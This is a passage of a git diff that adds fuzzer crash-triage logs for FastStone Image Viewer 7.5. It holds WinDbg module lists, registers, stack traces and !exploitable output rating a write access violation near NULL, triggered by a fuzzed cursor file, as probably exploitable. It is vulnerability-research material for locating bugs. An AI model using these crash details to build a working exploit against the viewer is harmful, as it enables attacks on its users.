C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73da0000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73da0000 00000000`73f04000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c30.adc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f17b19 edx=00000000 esi=00000000 edi=07d40fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.261350000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.46919e-020 -0.000199558 -1.15442e+008 5.05014e-011 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002fb000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002fb000 916db9d6 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002fb000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..61a9403 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..891a1e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..1ca564a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x8A0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x8A0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(8a0.1d40): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e97b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.000470817 -4.27816e+036 -141.8 -7.45638e-031 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00285000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00285000 d693d744 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00285000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..1ca564a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x8A0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x8A0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 